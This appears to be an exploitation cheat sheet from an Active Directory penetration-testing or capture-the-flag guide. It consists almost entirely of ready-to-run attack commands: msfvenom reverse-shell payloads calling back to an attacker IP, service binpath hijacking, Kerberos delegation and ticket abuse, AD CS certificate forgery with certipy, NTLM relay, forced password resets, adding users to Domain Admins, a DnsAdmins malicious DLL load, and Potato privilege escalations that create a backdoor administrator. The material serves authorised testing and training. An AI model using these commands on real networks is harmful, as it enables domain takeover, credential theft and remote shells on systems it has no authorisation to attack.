05 / Exploitation
Leverage found credentials or discovered vulnerabilities to gain access — initial foothold or privilege escalation. Covers gaining a shell, abusing AD permissions and exploiting certificate vulnerabilities.
| Finding | Approach |
|---|---|
| Server Operators group | Modify service binpath → reverse shell |
| AllowedToDelegate | getST.py → impersonate Administrator |
| ESC1 (AD CS) | certipy-ad req/auth → NTLM hash |
| GenericAll on user | ForceChangePassword |
| GenericAll on group | Add yourself to Domain Admins |
| Unconstrained Delegation | Wait for or force DC auth, dump TGTs |
| SeImpersonatePrivilege | GodPotato / PrintSpoofer |
evil-winrm -i $TARGET_IP -u $USERNAME -p $PASSWORD # WinRM (5985) xfreerdp /u:$USERNAME /p:$PASSWORD /v:$TARGET_IP # RDP (3389) wmiexec.py $DOMAIN/$USERNAME:$PASSWORD@$TARGET_IP # WMI (135) smbexec.py $DOMAIN/$USERNAME:$PASSWORD@$TARGET_IP # SMB (445) psexec.py $DOMAIN/$USERNAME:$PASSWORD@$TARGET_IP # SMB (445)
evil-winrm -i $TARGET_IP -u Administrator -H NTLMHASH psexec.py Administrator@$TARGET_IP -hashes :NTLMHASH wmiexec.py $DOMAIN/Administrator@$TARGET_IP -hashes :NTLMHASH
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.130.157.183 LPORT=4444 -o rce.exe
nc -lvnp 4444
upload rce.exe
services
sc.exe config cfn-hup binpath="C:\Users\j.rock\Desktop\rce.exe"
sc.exe start cfn-hup
# 1. Add CIFS to /etc/hosts echo "$TARGET_IP haystack.domain.local" | sudo tee -a /etc/hosts # 2. Get TGT via getST.py getST.py -spn "cifs/haystack.domain.local" -impersonate "Administrator" \ "$DOMAIN/SVC_ACCOUNT:$PASSWORD" # or via computer account: getST.py -spn host/<dc_fqdn> "$DOMAIN/<computer_account>:<computer_pass>" -impersonate Administrator # 3. Export ticket export KRB5CCNAME=Administrator@cifs_haystack.domain.local@DOMAIN.CCACHE # 4. Get shell as Administrator wmiexec.py -k -no-pass Administrator@haystack.domain.local
# 1. Request TGT for service account Rubeus.exe asktgt /user:svc_account /password:PASSWORD /enctype:aes256 /outfile:svc.kirbi # 2. S4U2Proxy — request TGS as Administrator Rubeus.exe s4u /ticket:svc.kirbi /impersonateuser:Administrator \ /msdsspn:cifs/TARGET.domain.local /ptt
certipy-ad find -u "$USERNAME@$DOMAIN" -p "$PASSWORD" -dc-ip $TARGET_IP -vulnerable -stdout grep -iE "vulnerable|esc" 20260313154214_Certipy.txt # find ESC1
certipy-ad req -u "USER@$DOMAIN" -p PASSWORD \ -ca NAAM-CA -target $DOMAIN \ -template ServerAuth -upn Administrator@$DOMAIN \ -dns $TARGET_IP
certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET_IP
wmiexec.py -hashes :NTLMHASH $DOMAIN/Administrator@$TARGET_IP
ntlmrelayx.py -t "http://$TARGET_IP/certsrv/certfnsh.asp" \ -smb2support --adcs --template "DomainController"
net rpc password "TARGETUSER" "NewPass123!" -U "$DOMAIN/$USERNAME%$PASSWORD" -S $TARGET_IP
$Password = ConvertTo-SecureString "NewPass123!" -AsPlainText -Force Set-ADAccountPassword -Identity "TARGETUSER" -Reset -NewPassword $Password
Add-ADGroupMember -Identity "Domain Admins" -Members $USERNAME
Add-DomainObjectAcl -TargetIdentity "$DOMAIN" -PrincipalIdentity $USERNAME -Rights DCSync
dacledit.py $DOMAIN/$USERNAME:'<password>'@$TARGET_IP \ -action write -rights FullControl -target <target_object>
owneredit.py $DOMAIN/$USERNAME:'<password>'@$TARGET_IP \ -action write -new-owner $USERNAME -target <object>
ldeep ldap -u $USERNAME -p $PASSWORD -d $DOMAIN \ -s ldap://$DC_IP add_to_group \ "CN=$USERNAME,DC=..." "CN=Domain Admins,DC=..."
Rubeus.exe monitor /interval:5 /nowrap rubeus monitor /interval:5
rubeus dump /service:krbtgt /nowrap rubeus dump /luid:0xdeadbeef /nowrap # specific LUID session
privilege::debug sekurlsa::tickets /export
Rubeus.exe ptt /ticket:BASE64TICKET export KRB5CCNAME=/pad/naar/ticket.ccache
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'Pass123!' \ "$DOMAIN/$USERNAME:$PASSWORD" -dc-ip $DC_IP
rbcd.py -delegate-from 'ATTACKPC$' -delegate-to 'TARGET$' \ -action write "$DOMAIN/$USERNAME:$PASSWORD" -dc-ip $DC_IP
getST.py -spn "cifs/TARGET.domain.local" -impersonate "Administrator" \ "$DOMAIN/ATTACKPC\$:Pass123!" -dc-ip $DC_IP export KRB5CCNAME=Administrator@cifs_TARGET.domain.local@DOMAIN.CCACHE wmiexec.py -k -no-pass Administrator@TARGET.domain.local
pywhisker.py -d $DOMAIN -u $USERNAME -p $PASSWORD \ --target <target_user> --action add
certipy shadow auto -u $USERNAME@$DOMAIN -p $PASSWORD -account <target_user>
certipy shadow auto -u '<machine$>'@$DOMAIN -k -account '<machine$>'
# 1. Create malicious DLL msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f dll -o evil.dll # 2. Host DLL on SMB share smbserver.py share /pad/naar/evil.dll -smb2support # 3. Configure DNS server to load your DLL dnscmd.exe /config /serverlevelplugindll \\$ATTACKER_IP\share\evil.dll # 4. Restart DNS service — DLL loads as SYSTEM sc \\DNSServer stop dns sc \\DNSServer start dns
whoami /priv
GodPotato.exe -cmd "cmd /c whoami" GodPotato.exe -cmd "cmd /c net user hacker Pass123! /add && net localgroup administrators hacker /add"
PrintSpoofer.exe -i -c cmd
RoguePotato.exe -r $ATTACKER_IP -e "cmd.exe" -l 9999
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}